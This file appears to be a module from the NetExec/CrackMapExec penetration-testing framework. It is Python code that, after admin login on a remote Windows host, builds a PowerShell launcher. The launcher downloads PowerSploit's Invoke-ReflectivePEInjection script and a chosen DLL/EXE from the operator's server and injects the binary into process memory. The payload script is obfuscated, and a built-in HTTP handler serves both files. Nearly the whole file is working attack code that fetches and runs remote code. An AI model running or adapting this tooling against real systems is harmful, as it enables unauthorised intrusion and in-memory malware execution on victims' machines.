NetExec/cme/modules/pe_inject.py

86 lines
3.2 KiB
Python

from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
import os
class CMEModule:
'''
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
Module by @byt3bl33d3r
'''
name = 'pe_inject'
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
chain_support = False
def options(self, context, module_options):
'''
PATH Path to dll/exe to inject
PROCID Process ID to inject into (default: current powershell process)
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
'''
if not 'PATH' in module_options:
context.log.error('PATH option is required!')
exit(1)
self.payload_path = os.path.expanduser(module_options['PATH'])
if not os.path.exists(self.payload_path):
context.log.error('Invalid path to EXE/DLL!')
exit(1)
self.procid = None
self.exeargs = None
if 'PROCID' in module_options:
self.procid = module_options['PROCID']
if 'EXEARGS' in module_options:
self.exeargs = module_options['EXEARGS']
def launcher(self, context, command):
launcher = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
port=context.server_port,
addr=context.localip,
pefile=os.path.basename(self.payload_path))
if self.procid:
launcher += ' -ProcessID {}'.format(self.procid)
if self.exeargs:
launcher += ' -ExeArgs "{}"'.format(self.exeargs)
return create_ps_command(launcher, force_ps32=True)
def payload(self, context, command):
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(launcher)
elif os.path.basename(self.payload_path) == request.path[1:]:
request.send_response(200)
request.end_headers()
request.stop_tracking_host()
with open(self.payload_path, 'rb') as payload:
request.wfile.write(payload.read())
else:
request.send_response(404)
request.end_headers()